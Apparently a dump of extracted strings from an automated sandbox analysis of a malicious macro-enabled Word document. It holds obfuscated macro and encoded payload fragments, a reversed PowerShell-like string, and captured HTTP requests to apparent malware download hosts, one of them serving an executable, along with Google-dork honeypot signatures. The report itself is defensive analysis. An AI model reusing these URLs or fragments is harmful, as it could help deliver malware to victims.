db)</a> <br><br><a href="/demo/?GHH v1.1 - .sql/create.sql">GHDB Signature #1064 (filetype:sql ("passwd values" | "password values" | "pass values" ))</a> <br><br><a href="/demo/?GHH v1.1 - AIM BuddyList/BuddyList.blt">GHDB Signature #937 (filetype:blt "buddylist")</a> <br><br><a href="/demo/?GHH v1.1 - File Upload Manager/">GHDB Signature #734 ("File Upload Manager v1.3" "rename to")</a> <br><br><a href="/demo/?GHH v1.1 - passlist.txt/passlist.txt">GHDB Signature #58 (inurl:passlist.txt)</a> <br><br><a href="/demo/?GHH v1.1 - passwd.txt/passwd.txt">GHDB Signature #1122 (wwwboard WebAdmin inurl:passwd.txt</a> <br><br><a href="/demo/?GHH v1.1 - WebUtil 2.7/webutil.pl">GHDB Signature #769 (inurl:webutil.pl)</a> <br><br>--> <a href="mailto:csapda@web-server.hu"></a><a href="mailto:csapda@astrohost.com"></a>--></html>
Ansi based on PCAP Processing (network.pcap)
DbHnh@czQVwYOSWjidmFpzPHmwPD(4795397 / XjzHXoFLS + 4475525 * PzazUzX(8592956*iQVRW595588 - Tan(JMcPjCBool(WlhVPMtYanSDz 25989;JSzsLUpGLflT)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DBwcKhIOsSJNzLzqcljIvYkzoNWqDZ747543 hOszVUuFQUOYq[7214511VRwalIJRL ZzQOu^4405Q/ TUEGRwHsHRmCi!309345]LJDTEs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dKjAzVGtGiGjCnlGNBjShSfjiIzfCBzGLC PqktjHjjoAMqJB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dnviYZlaFDdDBfWqswBYl=NIYZQjUXwOE4ahkZSdjGdulaTSQkqHnzzwrjSUZzpcV|zvsQawWbzjNwqQYZYKaissLU4icIFwOTozru{MJMOtpGcmdNn2msDcQhXvhWiQDwKdPCzFGOStTtlwTBS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dnviYZlaFFvqzkvxtHCRQRoWvCDvIYtOiTHLRtF@dpJGfA=vLVBddWLaoYwjX nYBGcsr oVjvuLdKjAzVGtGi!thcTTi ZukVvYBkIuzmDvFvvcfdFmA@R@BYaGKiS@wiARdQMUFwAhiiSaUZpOKtovWM?uOHTI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Document=ThisDocumePROJECT?3CompObjHrnt/&H00000000
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DSWjF@KacobT(842!XhbppYva_5116563XtohpbbjKYI@420331AZwmiwTwPSW]44404TXHRjIdFUucuXVcBFRumqCC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
E X,$N'6 y xsm ({ X,$N'H 4$j'ZwwXFzzcMonZlqwjhYkaRANAcDA1AgZAUDA2AQZAQGAyAQYAUGAlBwYAUGAlBgZAQGA0AwMAIGAwAwYAQGA2AQMAIDA0AgNAgDA0AAOAIDAhBQOAUGA4AQNAQGA4AgZAIDAyAANAcDAlBgZAcDA5AgZAMDAkBwYAcDAjBAOLEAMJ'\ \ "ev $6 &C ( *| ,X,$N'^ . 0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
e(0);}40% {-webkit-transform: scale(1);transform: scale(1);}} @keyframes sk-circleBounceDelay {0%, 80%, 100% {-webkit-transform: scale(0);transform: scale(0);}40% {-webkit-transform: scale(1);transform: scale(1);}} </style> <script type="text/javascript"> //<![CDATA[ function startCountdown() { setInterval(function () { var $secondsElement = document.getElementById('seconds'); var seconds = parseInt($secondsElement.innerHTML); if (seconds > 0) { seconds--; $secondsElement.innerHTML = seconds; } }, 1000); } function browserIntegrityCheck() { w = window.innerWidth; h = window.innerHeight; arr = [w, h, Math.floor((Math.random() * 9) + 1)]; arr.push(arr[0] * arr[1] * arr[2]); d = new Date().getTime(); arr = []; b = navigator.appName; div1 = document.createElement('div'); div1.style.display = 'none'; div2 = document.createElement('div'); div2.style.display = 'none'; div3 = document.createElement('div'); div3.style.display = 'none'; c = document.getElementById('content'); c
Ansi based on PCAP Processing (network.pcap)
e.|,H,lxIsQ}# +!,^$j=GW)E+&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
E5&Zi2bQ/,EE\})WqZ6;BnQhN[~79R`]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
E7#{hmP@\2*?ZWz,togm?vqS+ks^G{GeutMh;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
e`5)~*T_INF(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Edwardian Script ITC
Unicode based on Runtime Data (WINWORD.EXE )
EPNPjUdvzzpQJ{zQwukdOcDNikbiNWAuzsHQIN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FfWIojBQEuv@LCMQtsf@oWsZoA(@903348aHjPwlQLwXWF8490926hiTFAz893213IkTSczAcTM7967587zmVfzalATVV
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
fHkdZKrXYahuCMwdzlRupHvjKo@fwjNlET@iwGaYDN biHqLnnwzJzqUUc UulGqIoFUNTiqAInXrLQbY*iRGUUsNYjBITvPRbnuujz XVPTq8Ms JPddNzS zuzDU@UH@HIQHPz5BzPaqccNtmiwqmwDfj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Fl * d G X,$N' kY ) n q " $}K &X,$N' * ,6 .`j 0 2 4 6o 8X,$N'( < >f @= B D36 F H" JX,$N': N P` RC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
FontInfoCacheW
Unicode based on Runtime Data (WINWORD.EXE )
fP@)$\8qinU6'|B CLSe}k=*(T6jn;i56,IF#D+PdP0r({T*P)=v(Un9E;dJe
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Freestyle Script
Unicode based on Runtime Data (WINWORD.EXE )
French Script MT
Unicode based on Runtime Data (WINWORD.EXE )
ft~5-ns[[oK\:[[/lBrC(:=@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GDFwGBnd"iTHULinJSThUjuKlSCaTGNirtSeRUceS::]LAam.SecIVRESPoRETNi.EmItNUr[ (otUAGniRTsOTrTPaHsRsECivrEsporetnI.emiTNuR(XEiCwfTczYQcbhSlZlAc"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
GET /CRL/Omniroot2025.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cdp1.public-trust.com
Ansi based on PCAP Processing (network.pcap)
GET /esimB50/ HTTP/1.1Host: www.erzotech.euConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GET /f3sqVF/ HTTP/1.1Host: amor.official.pwConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GET /M8uZOL/ HTTP/1.1Host: t-p-e.netConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?a2e92fdaed906d8e HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ctldl.windowsupdate.com
Ansi based on PCAP Processing (network.pcap)
GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?cc1043c359113e4e HTTP/1.1Connection: Keep-AliveAccept: */*If-Modified-Since: Thu, 20 Apr 2017 16:02:20 GMTIf-None-Match: "04e707defb9d21:0"User-Agent: Microsoft-CryptoAPI/6.1Host: ctldl.windowsupdate.com
Ansi based on PCAP Processing (network.pcap)
GET /pkiops/crl/Microsoft%20Update%20Signing%20CA%202.1.crl HTTP/1.1Cache-Control: max-age = 382151Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 03 Dec 2017 06:01:52 GMTIf-None-Match: "94d6fe36fc6bd31:0"User-Agent: Microsoft-CryptoAPI/6.1Host: www.microsoft.com
Ansi based on PCAP Processing (network.pcap)
GET /pkiops/crl/Microsoft%20Update%20Signing%20CA%202.3.crl HTTP/1.1Cache-Control: max-age = 236762Connection: Keep-AliveAccept: */*If-Modified-Since: Sun, 03 Dec 2017 06:02:04 GMTIf-None-Match: "d180463efc6bd31:0"User-Agent: Microsoft-CryptoAPI/6.1Host: www.microsoft.com
Ansi based on PCAP Processing (network.pcap)
GET /Yr13ok/ HTTP/1.1Host: www.utilitybillingsoftwares.comConnection: Keep-Alive
Ansi based on PCAP Processing (network.pcap)
GetActiveWindow
Ansi based on PCAP Processing (network.pcap)
GetClipboardViewer
Ansi based on PCAP Processing (network.pcap)
GetCurrentConsoleFontEx
Ansi based on PCAP Processing (network.pcap)
GetCursor
Ansi based on PCAP Processing (network.pcap)
GetDlgCtrlID
Ansi based on PCAP Processing (network.pcap)
GetOpenClipboardWindow
Ansi based on PCAP Processing (network.pcap)
GOLXwsWvdjGfwLJLCzt*lfuOFnA%ofmobAtJUdPHUEQQcd[hCCZsGbOZoJDmQijwAPrmtHfWYiZU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HB1BB,!6"EB+BzAnsZRGsG$AAsZRG%&2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
hcfRvTWfFjJwPmfRmuwSFcnmtmZKfalYvacU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: max-age=172800Content-Type: application/ocsp-responseDate: Wed, 28 Feb 2018 10:16:54 GMTEtag: "5a962945-1d7"Expires: Fri, 02 Mar 2018 10:16:54 GMTLast-Modified: Wed, 28 Feb 2018 04:00:05 GMTServer: ECS (lhr/D23C)X-Cache: HITContent-Length: 4710
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKAccept-Ranges: bytesCache-Control: max-age=172800Content-Type: application/ocsp-responseDate: Wed, 28 Feb 2018 10:16:54 GMTEtag: "5a965a7d-1d7"Expires: Fri, 02 Mar 2018 10:16:54 GMTLast-Modified: Wed, 28 Feb 2018 07:30:05 GMTServer: ECS (lhr/47F7)X-Cache: HITContent-Length: 4710
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKAccept-Ranges: bytesContent-Type: application/x-pkcs7-crlDate: Wed, 28 Feb 2018 10:16:53 GMTEtag: "200da-107d-5663ad7fd7a15"Last-Modified: Wed, 28 Feb 2018 00:30:01 GMTServer: ECS (lhr/477E)X-Cache: HITContent-Length: 42210
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: max-age=604800Content-Type: application/vnd.ms-cab-compressedLast-Modified: Mon, 22 Jan 2018 19:35:55 GMTAccept-Ranges: bytesETag: "80df3238b893d31:0"Server: Microsoft-IIS/8.5X-Powered-By: ASP.NETContent-Length: 54018Date: Wed, 28 Feb 2018 10:16:47 GMTConnection: keep-aliveMSCF
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/xml; charset=utf-16LEServer: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 28 Feb 2018 10:16:20 GMTContent-Length: 1730
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/xml; charset=utf-16LEServer: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 28 Feb 2018 10:16:22 GMTContent-Length: 1730
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/xml; charset=utf-16LEServer: Microsoft-IIS/8.5X-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETDate: Wed, 28 Feb 2018 10:16:23 GMTContent-Length: 1730
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKDate: Wed, 28 Feb 2018 10:16:57 GMTServer: ApacheX-Powered-By: PHP/5.3.29Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheContent-Disposition: attachment; filename="76245.exe"Content-Transfer-Encoding: binaryConnection: keep-alive, Keep-AliveKeep-Alive: timeout=5, max=200Transfer-Encoding: chunkedContent-Type: application/octet-stream4000MZ
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKServer: nginx/1.12.2Content-Type: application/ocsp-responseContent-Length: 1610content-transfer-encoding: binaryCache-Control: max-age=387612, public, no-transform, must-revalidateLast-Modified: Sun, 25 Feb 2018 21:57:05 GMTExpires: Sun, 4 Mar 2018 21:57:05 GMTDate: Wed, 28 Feb 2018 10:16:53 GMTConnection: keep-alive0
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKServer: nginx/1.12.2Content-Type: application/ocsp-responseContent-Length: 1754content-transfer-encoding: binaryCache-Control: max-age=402675, public, no-transform, must-revalidateLast-Modified: Mon, 26 Feb 2018 02:07:39 GMTExpires: Mon, 5 Mar 2018 02:07:39 GMTDate: Wed, 28 Feb 2018 10:16:52 GMTConnection: keep-alive0
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 200 OKServer: nginxDate: Wed, 28 Feb 2018 10:09:31 GMTContent-Type: text/html; charset=UTF-8Content-Length: 132Connection: keep-alivea
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 302 Moved TemporarilyServer: AkamaiGHostContent-Length: 0Location: http://dmd.metaservices.microsoft.com/dms/metadata.svcDate: Wed, 28 Feb 2018 10:16:18 GMTConnection: closer
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 302 Moved TemporarilyServer: AkamaiGHostContent-Length: 0Location: http://dmd.metaservices.microsoft.com/dms/metadata.svcDate: Wed, 28 Feb 2018 10:16:21 GMTConnection: closet
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 302 Moved TemporarilyServer: AkamaiGHostContent-Length: 0Location: http://dmd.metaservices.microsoft.com/dms/metadata.svcDate: Wed, 28 Feb 2018 10:16:21 GMTConnection: closeu
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 304 Not ModifiedContent-Type: application/pkix-crlLast-Modified: Sun, 03 Dec 2017 06:01:52 GMTETag: "94d6fe36fc6bd31:0"Cache-Control: max-age=341944Date: Wed, 28 Feb 2018 10:17:23 GMTConnection: keep-aliveX-RTag: ARRPrd
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 304 Not ModifiedContent-Type: application/pkix-crlLast-Modified: Sun, 03 Dec 2017 06:02:04 GMTETag: "d180463efc6bd31:0"Cache-Control: max-age=351416Date: Wed, 28 Feb 2018 10:17:23 GMTConnection: keep-aliveX-RTag: ARRPrd
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 304 Not ModifiedContent-Type: application/vnd.ms-cab-compressedLast-Modified: Thu, 20 Apr 2017 16:02:20 GMTETag: "04e707defb9d21:0"Cache-Control: max-age=86400Date: Wed, 28 Feb 2018 10:16:47 GMTConnection: keep-alive
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 403 ForbiddenConnection: closeCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Server: Apache/2.2.16 (Debian)Content-Length: 13805<!DOCTYPE HTML><html lang="en-US"> <head> <meta charset="UTF-8" /> <meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta name="robots" content="noindex, nofollow" /><meta name="keywords" content="joomla, Joomla, joomla 1.5, wordpress 2.5, Drupal" /><meta name="description" content="Joomla!" /><meta name="generator" content="Joomla! 1.5 - Open Source Content Management" /><meta name="generator" content="WordPress 2.5" /> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> <title>Waiting for the redirectiron...</title> <style type="text/css"> body {background-color: #ffffff; font-family: "Helvetica Neue", Helvetica,Arial,sans-serif;} html, body {width: 100%; height: 100%; margin: 0; padding: 0;} span {color: #878787; font-size: 12pt; text-align: center;} h1 {color: #878787; font-size: 18pt; text-align: center;} .link {margin-top: 40px;} .sk-circle {margin: 80px auto;width: 100px;height: 100px;position: relative;} .sk-circle .sk-child {width: 100%;height: 100%;position: absolute;left: 0;
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 823Connection: keep-aliveKeep-Alive: timeout=15Date: Wed, 28 Feb 2018 10:16:57 GMTServer: Apache<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>Error 404 - Not found</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="cache-control" content="no-cache" /> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;">Error 404 - Not found</h1><p style="font-size:0.8em;">Le fichier requis n'a pas &#233;t&#233; trouv&#233;.Il peut s'agir d'une erreur technique. Veuillez r&#233;essayer ult&#233;rieurement. Si vous ne pouvez pas acc&#233;der au fichier apr&#232;s plusieurs tentatives, cela signifie qu'il a &#233;t&#233; supprim&#233;.</p> </body> </html>
Ansi based on PCAP Processing (network.pcap)
HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 28 Feb 2018 10:16:56 GMTContent-Type: text/htmlContent-Length: 1037Connection: keep-aliveLast-Modified: Sat, 16 Aug 2014 07:30:51 GMTETag: "1a1d7a-40d-500ba1e03f19c"Accept-Ranges: bytes<HTML><HEAD><TITLE>404 Not Found</TITLE><BASE href="/error_docs/"> [if lte IE 6]></BASE><![endif]--></HEAD><BODY><H1>Not Found</H1>The requested document was not found on this server.<P><HR><ADDRESS>Web Server at utilitybillingsoftwares.com</ADDRESS></BODY></HTML> - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->
Ansi based on PCAP Processing (network.pcap)
http://www.symauth.com/cps0(
Ansi based on PCAP Processing (network.pcap)
http://www.symauth.com/cps0*
Ansi based on PCAP Processing (network.pcap)
http://www.symauth.com/rpa0
Ansi based on PCAP Processing (network.pcap)
i`\g L*Ae+y*M-We\D&D \EPjrL
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
IAREmSY0,Wq-geV sm9w/`0B4om)mDRRFNxvJHPR]3v$vHtshEDF20fS+ED$4d#|O9C:13
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
iaziMoDLilRmscoGwVhnk/mLzzCiAwHGJEFucZAUzOFlIQRsqQwjqrXSit
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
iBCSEnKPfoNazETPdMNB(%UJkLIbhLKRzGnorP+hiCYTSrnppdNJJWzEdVMiYwaNjshtfjTGfYYpAYqXuGLnkHFAzDJFzF-wFwnufpDqbfnRVGdYYH+]KJZTfPvJXWlju
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
iEYjjEGWTqJQqBaTTmwclbsTuwCj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
iGPLXLatiSUSDT
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
IILhci34Qi{T<Y}U(fJOcV]Gi}RjYUG|cdUV1}u!UJCG:_\h'V1ltU;/(@e8D94b9T\rc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Informal Roman
Unicode based on Runtime Data (WINWORD.EXE )
ion="1.0" encoding="UTF-8" standalone="yes"?> Copyright (c) Microsoft Corporation --><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity type="win32" name="Microsoft.Windows.spfileq" version="5.1.0.0" processorArchitecture="x86"/> <description>spfileq</description> Identify the application security requirements. --> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo></assembly>
Ansi based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
IX," P>"(8HXpBxfffXff`f"0fXf(f0"" f(fff`ff0 ff fffXff(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
J X,$N' ? b0A Ee eU^ X,$N' $j'"wfiYwQTahjlPnawrbwiwpMRw'$ ( *2 ,_" .2~ 0|Av 2 4_# 6X,$N'& : <o >*k @A; Bl D FF HX,$N'8 $$j'J$oUrhqtTcaYMJkHtb% tesnzRFNcYSwMOAwCF'L P Rl T= Vo2 X- Z \[ ^X,$N'N b dC f hNfg j9 l n_ pX,$N'` L$j'r3vZMLZLFXOIYpLizLzWHYCRtHvisO !%6rav%!!%5ruPKmCXacGz't x zj |$w ~Xb <0 r X,$N'v :&w j f H f@ X,$N' t
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
j1TableOaWordDocumentSummaryInformation(JDocumentSummaryInformation8fMacros0XlLVBA0XlThisDocumentI__SRP_2__SRP_3BzAnsZRGs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
J@(7r`W:z=n[2@|:2.XjC'|n(-e
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
JDFSWTdxkrt\vp93A`9OYkZj1s"vZMLZLFXOIYpLizLzWHYCRtsO`k!Z1W`ja3qZy`jB \Nc]YAp2AguPKmC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
JM-Vtx tW{p!<<t<>5EC-<2++
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
jOMRnmAVdqSVI1P934TUZhAvIJTWCZtp36258Buj0wSCiTFW47S3AbjijYSk ZZbihsJstzhnA62p00: WWwhSwpwjvLivEBc
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
JtucmvmXRd&HiBmPsNsFSRLqojnfPRvwCKnFQajsmScS^CVLZfaQAIrPaYFAOYZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
k X,$N'(Fb $j':tGrSSjtRqAMGAjBwMAADAyAwMAYGAzAAZAIDA3AgYAkDAyAgNAUGAiBAZAEGAzAgNAIDAyAQMAADAkBQYAYDAhBgZAUGAkBQZAEGAyAgNAYDAyAAOAADAhBgYAEGA1AQOAUGA5AAMAQDAiBAZAbcWl'< $p @q J !o X,$N'>=% dh
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
k)QCbwj~]LBPr J...{%j](<w3J=l6zw7GG8gbrPdQo@3*QGIgmA.Q(mnEIAga[ZJco0sQVrZSTsgo+z]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
K?| `b X,$N' "$j'CbmTiPBYSXLNMhSAUGAyAQOAkDAjBAOAEDAjBQMAADA2AwNAEGAzAAOAYDAjBAOAUGA4AAOAYDAhBANAEDAiBgNAYDA3AAOAgDAjBQMAIGA0AQZtWGWvmOIkRQvzHFsN' # o S< ">[ $ &p (X,$N' , .'U 0J 2f^% 4k 6 8-g :X,$N'* `$j'<CwOkEOP4AQMAYDAmBAOAYGAwAAMAADA4AQOAMDA0AwYBsVatZuqWMWDOiDfldJpwTPKA'> B D,I FJD H< J L N8 PX,$N'@ T V X}FH Z+ \c ^ `M bX,$N'R >$$j'dEzMZWQjGAScvn4AAOAUDA4AQOAQGAzAQYAMDAjBgYAMDAjBgYAMDAzAgYAMDAiBQOAUDAiBAOAUGAzAgYAMDAkBgMAcDA4AQZAgDA1AgNAkDAmBAMAQDA5AwMAYGA5AgMAIGA2AQNAcDAxAwNAYDAxAgYAUDAmBgNAUDAzAgYAQGAyAgZAUGA1AQMAEDA1AANAcDAMYNqwECzAa'f j l
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kJQb6, nnPTJPLcdqon#SKWNnDRV/bkQUlqzsmwX@nkAVLtCNlHIqKaQcaBlSu@(63044"@JaSYSQZczESqUB0A08*rNrELojILqsCQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
kODLXaQfrjJFRVtmivdfFKRElsInSCQXsZVyufpnlPmNnvfRYX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KqcvZYU= tz@iUqjit.OScwzOiluSJCaa(7329/ mkfubU
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
KrXYahuCMwEUAmz*qzvjsEZaudPEtWsMmmnXHBuwAancISKDcQwXzuoJjfEG6QSOaBejOwiDSH/TMbzpx7
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Kunstler Script
Unicode based on Runtime Data (WINWORD.EXE )
L;=<YA|U?z*chRxB CS#d2EbB~R1DBW-_b131VMPJ^mQ1Xo7nl([=oCx`^D+!JDr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
l` n; p4$ r t vX,$N'f z |lBc ~E{ BN dj8 X,$N'x d$j''qJPInVmJjhlnss&&re=%3rav% tenMKVkbLLwDC' w8 4 7 6 X,$N' XU D B < i X,$N' $j'"YLvhXuaslfHORakdIqETj%!!%8ramEDaBb' t L uR X,$N' 8 K Ur '? X,$N' $j'.ZtbDzovqzQYAIzkjpHoUIzNrzav%!!%4rav%!!%3ravfQS' i 0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LastPurgeTime
Unicode based on Runtime Data (WINWORD.EXE )
lbujArkCNMjozVzPSkhzuYqwFYzAiZlTNdznLkoBvXGNDappiHKsbHQSotmjWqEmMDQMUaNBjmUZMztwJVTpsVYzkQlrjNHGjZYlkYuwtgocrFoAnWOtqfQbspVfOpmalbXwjAkSsLwqsKGkVAGTwBHXqSJOB*SOtalZzRNWqutjjsicr-{dUHsBtpZQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LenQ-}dH"[Zs@M35EW[5{P(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LlpiWMndrLHRG-zLrclPAJAHmjz^CYtCdXB<RfrsBkSVztfABSiAHURMzZqpuPcL/RzMTMEjMIvqMEmRbogCwRirCsNXl2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Lmro]{j7([S+nwT<z>JBRl(\J J%
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
LOYzFw7KqGJ77[W_>t:Y%Hw<-0pJ#m$`LR*MyJiNSol>'rH:^KV3Tej
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
mA!OfficgODficg!G{2DF8D04C-5BFA-101B-BDE5gAAe42ggram Files\@CommonMicrosoft Shared\OFFICE16\MSO.DLL#M 16.0 Ob Library%zBeThisDocumentGTfisDHcu@Ienn*2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Matura MT Script Capitals
Unicode based on Runtime Data (WINWORD.EXE )
